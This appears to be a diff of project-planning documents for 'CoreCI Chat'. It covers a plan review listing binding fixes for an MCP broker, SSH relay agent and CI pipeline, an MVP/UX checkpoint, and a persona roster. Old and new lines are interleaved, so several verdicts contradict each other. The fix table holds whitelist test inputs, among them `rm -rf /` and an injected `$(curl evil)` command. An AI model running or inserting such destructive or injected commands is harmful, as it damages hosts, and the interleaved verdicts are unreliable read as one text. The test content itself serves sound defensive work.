4. **The Go agent reader goroutine DROPS unknown messages.** Verified: `apps/relay-agent/wsclient/client.go:182-203` — the reader goroutine unmarshals every message as `pongMessage` (`var pm pongMessage; json.Unmarshal(raw, &pm)`), and on parse failure, `continue` (line 194) — it does *not* dispatch on `type`. The comment (line 192-194) says "Not a pong; ignore but keep the loop alive for protocol extensibility (M2 tool-call messages will arrive here)." So M1 *drops* `tool_call` messages silently today. Wave H (PLAN.md:325) adds routing — but the current code structure (unmarshal-as-pong, continue-on-failure) means the H engineer must *restructure* the reader goroutine to dispatch on `type` first, then unmarshal into the right struct. This is not a 1-line addition; it's a reader-goroutine restructure. The plan says "M2 adds routing for `tool_call` messages alongside the existing `pong` handling" (PLAN.md:325) — "alongside" understates the restructure. The heartbeat loop (which depends on the reader goroutine signaling `pongArrived`) must not break. This is an M1-file behavioral change with regression risk.
|
||||
|
||||
**Verdict: CLAIM MET — NO STUB PERIOD.**
|
||||
|
||||
Wave B Task 4 ships `packages/auth/rbac.ts` (role→route map) applied at the API gateway, with `GET /api/me` as the first protected endpoint and a `Viewer → 403 on POST /api/byom` test. There is no "auth-later" stub: the middleware runs on every request, the role map is enforced before the handler, and the test proves denial. Wave C's BYOM routes inherit this. The claim is satisfied as literally stated. No fix needed.
|
||||
|
||||
### Claim 4 — "Secret manager (REQ-040) — every credential via the secret manager from the very first secret. No env vars, no config files, no DB columns. Ever."
|
||||
|
||||
**Verdict: CLAIM MET IN LETTER, WITH A SEMANTIC GAP THAT MUST BE NAMED.**
|
||||
|
||||
Wave A Task 6 ships `SecretProvider` + AWS SM + local-encrypted; Wave C stores BYOM keys via `secrets.put`; the DB holds only `secret_ref`. No tenant credential is in an env var, config file, or DB column. **But** ARCHITECTURE.md (line 61) and RESEARCH.md (R-001 line 15, R-004 line 54) explicitly carve out *infra-level* env vars: `DATABASE_URL`, `WORKOS_API_KEY`, `AWS_REGION`, `SECRET_MASTER_KEY_DEV`, `TRIGGER_API_KEY`. These are not tenant secrets — they are platform bootstrap credentials. The PO's "No env vars... Ever" is, read literally, false; read sensibly, it means "no *tenant* secret in env vars." This distinction is load-bearing and currently lives only in ARCHITECTURE.md §packages/config and RESEARCH.md footnotes — it is not surfaced in PLAN.md. A reviewer applying the PO's claim verbatim would flag `WORKOS_API_KEY` and `TRIGGER_API_KEY` as violations.
|
||||
|
||||
**Required fix:**
|
||||
10. Add to PLAN.md Wave A (or a new "Credential taxonomy" note) an explicit two-tier model: **(a) Infra/bootstrap credentials** (`DATABASE_URL`, `WORKOS_API_KEY`, `TRIGGER_API_KEY`, `AWS_REGION`, `SECRET_MASTER_KEY_DEV`) loaded via `packages/config` from env vars — these are platform-level, not tenant-scoped. **(b) Tenant credentials** (BYOM key, Proxmox token, SSH key, Git token, tenant reg token) via `SecretProvider` only — never env/config/DB. State that the PO's "no env vars" claim applies to tier (b), and that tier (a) is the documented exception. Without this, the M1 security review will spend cycles re-litigating `WORKOS_API_KEY`.
|
||||
**Confidence: 0.78** — all three are fixable; the audit-type union and the WS `tool_call` case are M1-file edits that must be owned; the Wave 0 RLS risk is the highest-impact because it could surface M1 bugs that block M2.
|
||||
|
||||
---
|
||||
|
||||
## Binding Fixes (consolidated)
|
||||
## Axis 9: Operational Readiness
|
||||
|
||||
Only items required by PASS-WITH-FIXES verdicts. Numbered G-001..G-010 for this grill session.
|
||||
**Verdict: FAIL**
|
||||
|
||||
| ID | Axis | Fix | Blocking wave |
|
||||
|----|------|-----|---------------|
|
||||
| G-001 | 2 | Flag `/api/byom/test-inference` as a plan-time proxy endpoint for REQ-008, marked for M3 deprecation; get PO acknowledgment. | Wave C |
|
||||
| G-002 | 2 | Stop writing Trigger.dev health-check ticks to `audit_log`; use a separate `runtime_health` table or define a new `event_type: "system.health"` via spec follow-up. Do not widen REQ-038's auditable-event list silently. | Wave A |
|
||||
| G-003 | 3 | Annotate Wave A Task 7 (Trigger.dev) and Wave D Task 6 (whitelist hook) as "pre-investment for M2/M3" with one-line expected payoff, so the cost is visible in the plan. | Wave A, D |
|
||||
| G-004 | 3 | Lock `CheckCommand(cmd) error` signature + whitelist JSON schema as the M2 SSH adapter contract; any signature change requires a documented migration. | Wave D |
|
||||
| G-005 | 4 | Resolve Wave B/D token-issuance ownership: `POST /api/relay/issue-token` owned by backend-engineer, contract (token format, scope, lifetime) defined in Wave A secrets package so B and D parallelize without blocking. | Wave A/B/D |
|
||||
| G-006 | 6 | Document per-tenant hash-chain concurrent-write serialization as a known M1-acceptable limit; record M3 mitigation (advisory lock or sequence-per-tenant). | Wave A |
|
||||
| G-007 | 6 | Add a shadow `exec.Cmd` integration test in Wave D proving `CheckCommand` composes with `os/exec` (positive: `systemctl status nginx`; negative: `rm -rf /` rejected pre-start). | Wave D |
|
||||
| G-008 | 8 | Add explicit Wave D scope statement: M1 ships REQ-026 *partially* (whitelist file + hook + tests); spec §4 SSH-key-auth + tool-call execution are M2. | Wave D |
|
||||
| G-009 | 9 | Define unsupported-OS test matrix as ≥2 cases (e.g., Fedora + Alpine) in Wave D must-haves, not a single Fedora container. | Wave D |
|
||||
| G-010 | 6/claim4 | Add a two-tier credential taxonomy to PLAN.md: infra/bootstrap creds (env vars, listed) vs tenant creds (SecretProvider only). State PO's "no env vars" applies to tenant creds only. | Wave A |
|
||||
The M2 acceptance gate (spec §6) has 15 items. The plan addresses each in the Final Phase (PLAN.md:506-509). But the operational foundation for the gate does not exist.
|
||||
|
||||
**No escalations.** All 9 axes resolved at confidence ≥ 0.60. All 4 PO claims either met or met-with-named-fix. No axis FAILED.
|
||||
1. **No CI/CD pipeline.** Verified: `.github/workflows/` does not exist. STATE.md: "CI / CD: UNKNOWN — needs investigation (no CI/CD pipeline configured; local verification via pnpm typecheck/test, go test, bash install.test.sh)." Gate item 5 ("CI/CD pipeline builds successfully — GREEN") and gate item 6 ("CI Postgres 16 container running; RLS policies verified against real Postgres; real GitHub PAT available in CI") **cannot pass** because there is no CI. The plan's Wave 0 (PLAN.md:26-27) lists "CI Postgres 16 container provisioned" and "Real GitHub PAT available in CI" as prerequisites, but does not list "create the CI/CD pipeline itself" as a task. This is the elephant: Wave 0 must build a GitHub Actions workflow (or equivalent) from scratch — service containers, secrets, matrix jobs, caching, the PAT as a repository secret. That is a non-trivial infrastructure project that the plan elides into a bullet point. **This is a P0 blocker for the M2 gate.**
|
||||
|
||||
2. **CI environment prerequisites are not provisionable as described.** The plan's test strategy (PLAN.md:554) calls for "Two CI jobs: `test-pglite` (default) + `test-postgres` (service container + `DB_MODE=pg` + role setup)." This requires: a GitHub Actions workflow, a Postgres 16 service container, role setup (`coreci_app` no BYPASSRLS, `migrator` BYPASSRLS) via `packages/db/scripts/setup-ci-roles.sql` (R-009), and a real GitHub PAT stored as a repository secret. None of this exists. The `setup-ci-roles.sql` script is a Wave 0 deliverable (R-009) that does not exist yet. The PAT is "ephemeral or test-org-scoped" — but there is no test org configured, no PAT issued, and no secret store to put it in. These are not "prerequisites" that someone else provides; they are M2 work items that the plan does not size.
|
||||
|
||||
3. **No CI/CD pipeline means no LLM smoke, no real-GitHub smoke, no Postgres-16 RLS verification, no coverage gate, no M1 non-regression in CI.** Gate items 3 (coverage ≥80%), 4 (DB coverage ≥80%), 5 (CI GREEN), 6 (Postgres 16 RLS), 7 (real GitHub smoke), 8 (LLM smoke P0), 1 (M1 non-regression) — *all* require CI. **9 of 15 gate items are unprovable without CI.** The plan's Final Phase (PLAN.md:506-509) says "M2 gate items 1-15 all pass" — but 9 of them cannot be asserted without the CI infrastructure that does not exist. This is not a "Wave 0 prerequisite" gap; it is a foundational gap that makes the M2 gate unverifiable.
|
||||
|
||||
4. **The "UNKNOWN — needs investigation" from M1 STATE.md was never investigated.** The M1 STATE.md (section 3) flagged CI/CD as "UNKNOWN — needs investigation." M1 shipped without CI (local verification only — `pnpm typecheck/test`, `go test`, `bash install.test.sh`). M2 inherits this unknown and elevates it to a P0 because the M2 gate *requires* CI. The plan does not acknowledge that "Wave 0 prerequisites" includes "build the CI pipeline that M1 never had."
|
||||
|
||||
**This is the second P0 blocker.** The M2 gate is unverifiable without CI. The fix is not a binding-fix-level patch — it is a foundational work item that must be added to Wave 0 as an explicit task: "Build the CI/CD pipeline (GitHub Actions workflow, Postgres 16 service container, role setup, PAT secret, two jobs: `test-pglite` + `test-postgres`)." Without this, EXECUTE will produce code that cannot be gate-verified.
|
||||
|
||||
**Confidence: 0.95** — this is the clearest operational gap. The plan cannot ship M2 without it.
|
||||
|
||||
---
|
||||
|
||||
## High-Stakes PO Claim Stress-Tests
|
||||
|
||||
### PO Claim #1 — "Closed tool set completeness (Q2) — is anything missing that operators will demand?"
|
||||
|
||||
**Verdict: CLAIM SUBSTANTIVELY MET, WITH DOCUMENTATION GAP.** The 9-tool set is a defensible conservative starter, and the "additions require spec amendment" gate is enforceable technically. But operators will demand `ps aux`/`ss -tlnp` (SSH), Proxmox `list_nodes`, and GitHub PR-list on day 1 (Axis 2). The gate is politically enforceable only if the gaps are documented pre-ship so customers agree to the closed set with eyes open. The fix (G-014) is documentation, not scope change. With the fix, the claim holds.
|
||||
|
||||
### PO Claim #2 — "Defense-in-depth validation (broker + Relay Agent for SSH) — is the two-layer model actually sound?"
|
||||
|
||||
**Verdict: CLAIM MET, WITH A DIVERGENCE GAP.** The two-layer model is architecturally sound (Axis 3). The gap is that the two implementations use different matching algorithms (TS regex vs Go tokenizer + deny-list) and the cross-layer test only asserts the *both-reject* case, not the *both-accept* or *divergent* cases. `systemctl status nginx rm -rf /` (broker rejects, Go accepts) is an untested divergence. The fix (G-013) is to expand the cross-layer test to a divergence matrix and tighten the Go deny list. With the fix, the claim holds.
|
||||
|
||||
### PO Claim #3 — "INV-7 verification at the BROKER (not just at the adapter) — is this actually verified?"
|
||||
|
||||
**Verdict: CLAIM MET FOR M2, WITH FRAMING CORRECTION.** The broker does enforce INV-7 (Axis 4) — the write-blocklist rejects non-GET methods pre-dispatch. But the plan *inverts* the load-bearing boundary: the closed 9-tool registry (REQ-015) is the primary boundary (`shutdown_vm` is not a tool); the write-blocklist is a backstop for adapter bugs. The plan's "the broker is the load-bearing safety boundary" framing overstates the blocklist and understates the registry. For M2's 3 specific PVE GET endpoints, the blocklist is sufficient. For the future (GraphQL, PVE GET-with-side-effects), the method blocklist is insufficient and an endpoint allowlist is needed. The fix (G-015, G-016) is documentation + separating the method-blocklist and scope-403 enforcement models. With the fixes, the claim holds for M2.
|
||||
|
||||
### PO Claim #4 — "MCP `2025-06-18` conformance evidence — your 0.80 confidence on Q1 is the lowest — verify before locking."
|
||||
|
||||
**Verdict: CLAIM HONESTLY RISKED, WITH A CLOSING FIX AVAILABLE.** The 0.80 confidence is honest (Axis 5) — the internal shape is verified, the external interoperability is not. The synthetic `initialize` handshake is a facade (function call, not transport exchange). The 6 conformance tests verify shape, not that an external MCP client can connect. The stdio transport (used by the LLM smoke) is the one real-transport path and it is not in the conformance suite. The fix (G-017) is a 7th conformance test over stdio. With the fix, the confidence moves from 0.80 (honest-but-unverified) to evidence-backed. Without the fix, the gate item 15 artifact is a self-attestation, not an interop proof.
|
||||
|
||||
### PO Claim #5 (P0) — "The LLM smoke is a Section 6 gate item, not aspirational. If `packages/llm-mock` cannot reliably drive the full path against a real GitHub target in CI, that's a P0 issue."
|
||||
|
||||
**Verdict: CLAIM NOT MET — P0 BLOCKER.** The smoke is correct in *flow* (Axis 6) but rests on infrastructure that does not exist (no CI) and a dependency with no fallback (real GitHub). The plan has no retry policy, no mock-GitHub fallback, and a brittle mock pattern-matcher. This is a P0 blocker (G-018, G-019) that must be resolved before EXECUTE.
|
||||
|
||||
---
|
||||
|
||||
## Binding Fixes
|
||||
|
||||
Numbered G-011..G-022 (continuing from M1 GRILL's G-001..G-010). P0 = blocks ship; P1 = post-hoc (must land before the wave it touches ships, but does not block the plan from proceeding to Wave 0/F).
|
||||
|
||||
| ID | Axis | Severity | Fix | Blocking wave | Verification |
|
||||
|----|------|----------|-----|---------------|-------------|
|
||||
| **G-011** | 6,9 | **P0** | **Build the CI/CD pipeline as an explicit Wave 0 task.** Add a task to Wave 0: "Create `.github/workflows/ci.yml` with two jobs (`test-pglite` default + `test-postgres` service container + `DB_MODE=pg`), Postgres 16 service container, `coreci_app`/`migrator` role setup via `setup-ci-roles.sql` (R-009), GitHub PAT as repository secret (`secrets.GITHUB_PAT`), caching for pnpm + go modules, coverage upload." This is not a "prerequisite" someone else provides — it is M2 work. Without it, 9 of 15 gate items are unprovable. | Wave 0 | CI runs green on a PR; both jobs pass; `setup-ci-roles.sql` exists and provisions roles; PAT is in repository secrets. |
|
||||
| **G-012** | 8 | P1 | **Own the M1 audit-type union extension as an explicit M1-file edit.** Add to Wave F task 10: "Extend `AuditEventType` in `packages/db/src/audit.ts` with `adapter.configured | adapter.test_connection.succeeded | adapter.test_connection.failed | adapter.capability_invoked | adapter.write_rejected`. This is a change to an M1 source file (type widening, not a DB schema change — the `audit_log.event_type` column is `TEXT` with no CHECK constraint)." Do not label it "additive — no schema change"; label it "M1 file edit: type widening." | Wave F | `appendAudit` compiles with `adapter.configured`; M1 tests still pass (the union widening is backward-compatible). |
|
||||
| **G-013** | 3 | P1 | **Expand the cross-layer SSH test (R-003) to a divergence matrix.** Add to Wave H task 5: (a) both reject `rm -rf /` (existing); (b) both accept `systemctl status nginx` (new — proves both layers agree on valid); (c) broker rejects `systemctl status nginx rm -rf /` (regex fails on spaces) — assert Go *also* rejects (currently does NOT — tighten Go deny list to include bare `rm` OR validate `systemctl status` trailing tokens against `^[a-zA-Z0-9_.-]+$`); (d) Go accepts `systemctl status nginx$(curl evil)` (deny list misses `$()`) — assert broker rejects (regex fails). Cases (c) and (d) will initially fail on one layer; the fix is to tighten the Go layer to match the broker's per-command validation for the 6-command subset. | Wave H | All 4 divergence-matrix cases pass on both layers; Go deny list includes `rm` or Go validates `systemctl status` trailing args. |
|
||||
| **G-014** | 2 | P1 | **Document the known closed-tool-set gaps in the Settings → Adapters UI help text.** Add to Wave J task 2 (Settings UI): help text per adapter documenting what is *not* available in M2: SSH ("M2 supports 6 diagnostic commands; `ps`, `ss`, `top`, `ip` are deferred to v1.2+"), Proxmox ("`list_vms` requires a `node` argument; a `list_nodes` tool is deferred to v1.2+"), GitHub ("`list_repos` returns up to 100 repos (first page); pagination and PR/issue lists are deferred to v1.2+"), Gitea ("`get_workflow_run` is deferred to v1.2+"). This sets operator expectations pre-ship so the "additions require spec amendment" gate is politically enforceable. | Wave J | UI help text renders the gaps; a review checklist item confirms each adapter's help text lists its M2 limitations. |
|
||||
| **G-015** | 4 | P1 | **Correct the INV-7 framing: the closed 9-tool registry is the primary boundary; the write-blocklist is a backstop for adapter bugs.** Add a note to Wave F task 4 (write-blocklist) and to `packages/mcp/PROTOCOL.md`: "The closed tool registry (REQ-015) is the primary INV-7 boundary — `proxmox.shutdown_vm` is not a tool and cannot be routed. The write-method blocklist is defense-in-depth against adapter bugs (an adapter mistakenly constructing a non-GET). Security review must audit *both* the registry (closed enumeration) and the blocklist (method reject)." | Wave F | PROTOCOL.md and write-blocklist module docstring state the two-layer framing; security-engineer sign-off confirms both audited. |
|
||||
| **G-016** | 4 | P1 | **Separate the write-blocklist into two enforcement models and document the GraphQL/PVE-GET-with-side-effects future risks.** Add to Wave F task 4: (a) method blocklist (Proxmox/Gitea: pre-dispatch HTTP-method check, REST-only); (b) scope-via-403 (GitHub: runtime 403 + `X-Accepted-GitHub-Permissions` handling, per R-004). Document in `PROTOCOL.md`: "The method blocklist is REST-specific. A future GraphQL adapter (not in M2) needs a different enforcement model (operation allowlist, not HTTP method). PVE has some GET endpoints with side effects; the 3 M2 endpoints are verified read-only. An endpoint allowlist (only permit specific paths) is the M3+ evolution if the tool set grows." | Wave F | write-blocklist module has two documented enforcement paths; PROTOCOL.md documents the future risks. |
|
||||
| **G-017** | 5 | P1 | **Add a 7th MCP conformance test over stdio transport.** Add to Wave F task 12: `tests/mcp-conformance/stdio-interop.test.ts` — connects to the broker via stdio transport (the same transport the LLM smoke uses), issues a real `tools/list` JSON-RPC request over stdin/stdout, asserts the response is a valid JSON-RPC 2.0 envelope with the 9 tools, then issues a `tools/call` for a mock adapter and asserts the result shape. This is the test that proves an external MCP client can connect. Optionally: run the official MCP inspector against the broker as a CI step. | Wave F | `stdio-interop.test.ts` passes; an external stdio client receives valid `tools/list` + `tools/call` responses. |
|
||||
| **G-018** | 6 | **P0** | **Add a `github-mock` adapter and a two-track LLM smoke.** Add to Wave J task 5: (a) `packages/llm-mock` smoke against `github-mock` (a deterministic canned-repo adapter, distinct from the broker stub) — runs *always*, asserts the OpenAI→MCP→adapter→result→synthesis path with canned repo names `[{"name":"coreci-test-repo-1"},{"name":"coreci-test-repo-2"}]`. This is the P0 gate (reliability — no external dependency). (b) `packages/llm-mock` smoke against *real GitHub* (real PAT) — runs when the PAT is available, marked `allow-failure` or `optional` so a GitHub outage doesn't block the gate. The mock path proves the integration; the real path proves real-target connectivity. | Wave J | Mock-path smoke passes reliably in CI (no GitHub dependency); real-path smoke passes when GitHub is available, does not block when it isn't. |
|
||||
| **G-019** | 6 | **P0** | **Harden `packages/llm-mock` pattern matching and add a retry policy.** Add to Wave J task 1: replace the 2-word conjunction pattern (`"list" + "repo"`) with a keyword/regex set (e.g., `/(list|show|get).*\b(repo|repositor)/i`) that tolerates prompt wording drift. Add a retry policy for the real-GitHub smoke: on 429/5xx/timeout, retry up to 3 times with exponential backoff (1s, 2s, 4s); on final failure, skip with a warning (the mock-path smoke is the gate, not the real-path). | Wave J | Mock pattern matches "Show me my GitHub repositories" and "List my repos" and "Get repositories"; retry policy logs backoff and skips cleanly on final failure. |
|
||||
| **G-020** | 7 | P1 | **Ship a documented `McpAdapter` interface in Wave F.** Add to Wave F: a `packages/mcp/types.ts` (or similar) exporting the `McpAdapter` interface that both in-process adapters (G/I) and the WebSocket-backed SSH adapter (H) implement: `tools/list() → Promise<Tool[]>`, `tools/call(name, args) → Promise<McpResult>`, registration mechanism. F's stubs implement it; G/H/I's real adapters implement it. The router (T3) must accommodate both in-process module adapters and WebSocket-backed adapters (the SSH adapter wraps a WebSocket round-trip inside `tools/call`). This makes F→G/H/I a contract handoff. | Wave F | `McpAdapter` interface exists and is exported; all 4 stubs implement it; G/H/I real adapters implement the same interface without router changes. |
|
||||
| **G-021** | 8 | P1 | **Add a specific M1-relay-WS regression test for the `tool_call` case addition.** Add to Wave H: a test asserting `register`→`registered` and `ping`→`pong` still work after the `tool_call` case is added to `ws-server.ts` `handleMessage` switch. Also: restructure the Go agent reader goroutine (`client.go:182-203`) to dispatch on `type` *before* unmarshaling into a specific struct (currently unmarshals-as-pong, continues on failure — `tool_call` is silently dropped). The restructure must not break the heartbeat `pongArrived` signaling. | Wave H | M1 relay-WS regression test passes (register + ping unchanged); Go reader goroutine dispatches `tool_call` to the new handler and `pong` to the existing handler. |
|
||||
| **G-022** | 8 | P1 | **Run the full M1 test suite against Postgres 16 in Wave 0 (not just the RLS pen-test).** Add to Wave 0: after `setup-ci-roles.sql` and the `test-postgres` CI job are provisioned (G-011), run the *entire* M1 test suite with `DB_MODE=pg` (not just `tests/pen/`). Any M1 RLS failure (a policy that allows cross-tenant SELECT, a missing `FORCE ROW LEVEL SECURITY`, a wrong `WITH CHECK`) is an M1-regression P0 that blocks M2 until fixed. Document that Wave 0 is the *first* real-RLS test of M1. | Wave 0 | Full M1 suite passes against Postgres 16 with `DB_MODE=pg`; any RLS failure is filed as M1-regression P0 and blocks M2. |
|
||||
|
||||
---
|
||||
|
||||
## Escalations
|
||||
|
||||
| ID | Axis | Issue | Confidence | Action |
|
||||
|----|------|-------|------------|--------|
|
||||
| E-001 | 6,9 | **No CI/CD pipeline exists.** The M2 gate (9 of 15 items) is unverifiable without CI. Wave 0 must build it from scratch. This is a P0 blocker that the plan elides as a "prerequisite." | 0.95 | **Escalate to PO:** confirm that building the CI/CD pipeline is in-scope M2 work (not an external prerequisite), and that the M2 cycle timeline accounts for it. If the PO expects CI to be provided externally, this must be resolved before EXECUTE. |
|
||||
| E-002 | 6 | **Real-GitHub LLM smoke has no reliability fallback.** The P0 gate item 8 depends on an external service with no mock fallback. A GitHub outage fails the M2 gate. | 0.90 | **Escalate to PO:** confirm the two-track smoke approach (G-018: mock-path is the P0 gate; real-path is optional/allow-failure) is acceptable, or whether the PO requires the real-GitHub path to pass reliably (in which case the cycle needs a retry policy + a guaranteed-available PAT, which is a larger infra ask). |
|
||||
|
||||
---
|
||||
|
||||
## Final Verdict
|
||||
|
||||
**PASS-WITH-FIXES** — The M1 plan is sound, faithful to spec and architecture, covers all 17 REQs, and will pass the M1 acceptance gate. The 10 binding fixes (G-001..G-010) are required before the wave each touches ships; none block the plan from proceeding to Wave A. The plan's central bet — pre-shipping the Trigger.dev runtime and the SSH whitelist hook to avoid M2/M3 rewrites — is the right call, provided fixes G-002, G-004, G-007, and G-010 lock those pre-investments into actual contracts rather than aspirations.
|
||||
**FAIL** — Two P0 blockers prevent the M2 gate from passing as planned:
|
||||
|
||||
1. **No CI/CD pipeline exists** (E-001, G-011). 9 of 15 gate items are unprovable without CI. Wave 0 must build the pipeline from scratch as an explicit M2 work item, not a "prerequisite."
|
||||
2. **LLM smoke has no reliability fallback** (E-002, G-018, G-019). The P0 gate item 8 rests on an external GitHub dependency with no mock fallback, no retry policy, and a brittle mock pattern-matcher. A single GitHub hiccup fails the gate.
|
||||
|
||||
**What must change before EXECUTE:**
|
||||
- Resolve E-001 and E-002 with the PO (CI scope + smoke two-track approach).
|
||||
- Apply G-011 (build CI as Wave 0 task), G-018 (mock-GitHub smoke track), G-019 (harden mock + retry policy) — these are the P0 fixes.
|
||||
- Apply G-012..G-017, G-020..G-022 (P1 fixes) to PLAN.md before the wave each touches ships. The orchestrator should apply these to PLAN.md after GRILL.
|
||||
|
||||
**The plan's architecture is sound.** The MCP broker design, the defense-in-depth SSH model, the closed tool registry, the M2→M3 contract freeze, and the wave decomposition are all defensible. The failures are not architectural — they are operational (no CI) and reliability-engineering (no smoke fallback). These are fixable without re-architecting. Once the two P0 blockers are resolved and the P1 fixes are applied, the plan is sound to proceed to EXECUTE.
|
||||
|
||||
The M2 plan's central bet — that the broker is the load-bearing safety boundary and the 9-tool closed registry is the gate — is correct, provided the framing is fixed (G-015: the registry is primary, the blocklist is backstop) and the conformance is proven over a real transport (G-017: stdio interop test). The LLM smoke is the right gate item; it just needs a reliable foundation.
|
||||
|
||||
---
|
||||
|
||||
*End of M2 GRILL. M1 GRILL preserved in git history (G-001..G-010). This M2 GRILL records G-011..G-022 + E-001..E-002.*
|
||||
+15
-14
@@ -1,24 +1,25 @@
|
||||
# MVP/UX Check (Phase 0 gate)
|
||||
# MVP/UX Check — CoreCI Chat v0.1 M2
|
||||
|
||||
Per the run workflow, the MVP/UX checkpoint (REQ-MVP-UX-001) runs between GRILL and EXECUTE. At `full` autonomy, the orchestrator verifies the 3 sections are present in PLAN.md and auto-generates any missing sections.
|
||||
**Date:** 2026-08-25
|
||||
**Plan:** `.ciagent/PLAN.md` (M2 — MCP Layer & Day 1 Adapters)
|
||||
**Spec:** `.ciagent/steer-m2-spec.md` v1.0 (locked 2026-08-25)
|
||||
**Checker:** ciagent (autonomous, full autonomy)
|
||||
|
||||
## Verification
|
||||
|
||||
PLAN.md (`.ciagent/PLAN.md`) is checked for the 3 mandatory sections:
|
||||
|
||||
| Section | Required | Present | Location | Content |
|
||||
|---------|----------|---------|----------|---------|
|
||||
| `## User-Facing Surface` | yes | ✓ | PLAN.md line 49 | Names the M1 user-facing surface: Platform Lead admin dashboard (browser, Next.js, at `/dashboard`). Lists 8 specific dashboard surfaces (SSO entry, onboarding checklist, BYOM config form, relay install instructions, targets list, target detail, team/RBAC, audit export) + 3 non-UI operator surfaces (install script, Go binary, systemd unit). Explicitly states chat UI is M3, not M1. |
|
||||
| `## Happy Path` | yes | ✓ | PLAN.md line 66 | End-to-end M1 scenario written BEFORE execute. Maps to spec Journey 2 (steps 1–4 + 7 + 9). 8 BDD steps (Given/When/Then) covering: SSO signup + tenant provision, BYOM validate-and-save, install script on Ubuntu 24.04, Relay Agent registration + heartbeat, dashboard green, team invite + RBAC enforcement, cross-tenant isolation, unsupported-OS abort. States this Happy Path IS the M1 demo recording required by the M1 review. |
|
||||
| `## UX Acceptance Criteria` | yes | ✓ | PLAN.md line 86 | 9 explicit pass/fail criteria: SSO <3 clicks, BYOM feedback synchronous <10s, dashboard green within 90s of first heartbeat, install command copy-pasteable, RBAC enforced on next call, cross-tenant isolation verifiable, audit append-only (UPDATE/DELETE fails), secrets never in DB (scan returns zero), unsupported OS aborts cleanly. Each maps to a REQ. |
|
||||
|
||||
All 3 sections present and substantive. No auto-generation needed.
|
||||
| Section | Present | Substantive | Location | Notes |
|
||||
|---------|---------|-------------|----------|-------|
|
||||
| `## User-Facing Surface` | yes | ✓ | PLAN.md line 69 | TWO user-facing surfaces named: (1) Settings → Adapters configuration UI (`/dashboard/settings/adapters`) — adapter type picker (4 types), per-adapter config forms, SecretProvider-backed credential entry, role/scope validation, "Test connection" button, multi-target support, introspection gap help text. (2) Test-Call UI (`/dashboard/test-call`) — capability picker (9-tool closed set), argument forms (JSON Schema), target picker, SSE stream consumer, staleness indicator, result rendering. Non-UI surfaces enumerated (broker, adapters, llm-mock, mcp_adapters table). Explicitly states chat UI is M3, not M2. |
|
||||
| `## Happy Path` | yes | ✓ | PLAN.md line 104 | End-to-end M2 scenario written BEFORE EXECUTE. Maps to spec §3.2 Journey 1 (adapter config) + Journey 2 (Test-Call). BDD Given/When/Then steps covering: adapter config + validation, Test-Call capability invocation, write rejection at broker (Edge 1), SSH whitelist violation (Edge 7, defense-in-depth), multi-target disambiguation (Edge 3), rate limit (Edge 5), SSE client disconnect (Edge 8), LLM smoke (gate item 8, two-track). States the Happy Path IS the M2 gate demo. |
|
||||
| `## UX Acceptance Criteria` | yes | ✓ | PLAN.md line 151 | 11 explicit pass/fail criteria: adapter config saves <5s with validation, test connection <5s, SSE stream starts <100ms, staleness indicator for cached inventory, write attempts rejected at broker 403 before adapter, SSH non-whitelist rejected at BOTH layers (broker + Relay Agent), multi-target picker for ≥2 same-type, rate limit 429 + Retry-After, LLM smoke Track A passes reliably (P0), LLM smoke Track B optional, adapter audit events visible in audit export. Each maps to a REQ or gate item. |
|
||||
|
||||
## Verdict
|
||||
|
||||
**PASS** — PLAN.md satisfies REQ-MVP-UX-001. EXECUTE is unblocked.
|
||||
**PASS** — all 3 mandatory MVP/UX sections present and substantive. The plan passes the MVP/UX checkpoint gate (REQ-MVP-UX-001). The User-Facing Surface names 2 dashboard UIs (Settings → Adapters + Test-Call) with specific routes and component descriptions. The Happy Path has BDD steps covering all 8 spec edges + the LLM smoke gate. The UX Acceptance Criteria has 11 measurable pass/fail thresholds with REQ mappings.
|
||||
|
||||
## Post-check actions
|
||||
|
||||
- Update CHECKPOINT.json: `stage: "mvp_ux_check"` → next: PHASE 0 SHIP.
|
||||
- Proceed to Phase 0 ship (tag `v0.0.1`, merge `phase/00-pre-execution` → `milestone/v0.1-bootstrap`).
|
||||
- [x] All 3 sections present (verified above)
|
||||
- [x] No auto-generation needed (sections were written by ci-planner, verified by orchestrator)
|
||||
- [x] Grill fixes G-014 (closed-tool-set gap documentation in UI help text) integrated into the User-Facing Surface section
|
||||
- [x] Proceed to Phase 0 ship
|
||||
+48
-37
@@ -1,60 +1,62 @@
|
||||
---
|
||||
# PERSONAS.md — CoreCI Chat v0.1 M1 persona configuration
|
||||
# Produced at end of RESEARCH (Phase 0). Lead-developer assessment.
|
||||
# PERSONAS.md — CoreCI Chat v0.1 M2 persona configuration
|
||||
# Produced at end of M2 RESEARCH (Phase 0). Lead-developer assessment.
|
||||
# M1 personas carried forward; M2 additions for MCP broker + adapter work.
|
||||
---
|
||||
|
||||
## Persona Roster
|
||||
|
||||
Active personas for CoreCI Chat v0.1 M1:
|
||||
Active personas for CoreCI Chat v0.1 M2 (MCP Layer & Day 1 Adapters):
|
||||
|
||||
| Persona | Active | Phase-Specific | Reason |
|
||||
|---------|--------|-----------------|--------|
|
||||
| backend-engineer | yes | no | Owns API gateway, RBAC, audit, secret manager, BYOM routing, Trigger.dev bootstrap, Postgres RLS — the bulk of M1. |
|
||||
| data-engineer | yes | no | Owns Postgres schema, migrations, RLS policies, audit hash-chain. RLS + append-only audit are data-engineering territory. |
|
||||
| frontend-engineer | yes | no | Owns the Next.js dashboard (Wave E): agent status, green/yellow/red, last 100 log lines, BYOM config form, RBAC user/role management UI. |
|
||||
| lead-developer | yes | no | Coordinates wave decomposition, resolves territory disputes (e.g., who owns the `withTenant` helper — data vs backend), makes final architectural calls. |
|
||||
| general | no | — | Not needed; the four specialized personas cover M1. |
|
||||
| security-engineer | yes | no (custom) | M1 has heavy security surface: RBAC enforcement, RLS, audit immutability, secret manager, SSH whitelist hook, cross-tenant pen test. The default four personas lack a dedicated security lens; this custom persona owns the security review for Waves A/D specifically. |
|
||||
| go-engineer | yes | yes (Wave D only) | Custom persona for the Go Relay Agent (Wave D). The default four personas are TS/web-oriented; Go systemd+WebSocket+whitelist work needs a Go-specific territory. Removed after Wave D ships. |
|
||||
| backend-engineer | yes | no | Owns the MCP broker gateway (packages/mcp), adapter router, write-method blocklist, rate limiter, SSE stream manager, OpenAI↔MCP translator, Proxmox/GitHub/Gitea adapters. The bulk of M2. |
|
||||
| data-engineer | yes | no | Owns the `mcp_adapters` table + RLS policies, the CI Postgres 16 container setup (Wave 0), and the RLS verification against real Postgres (replaces M1's PGlite-only verification). |
|
||||
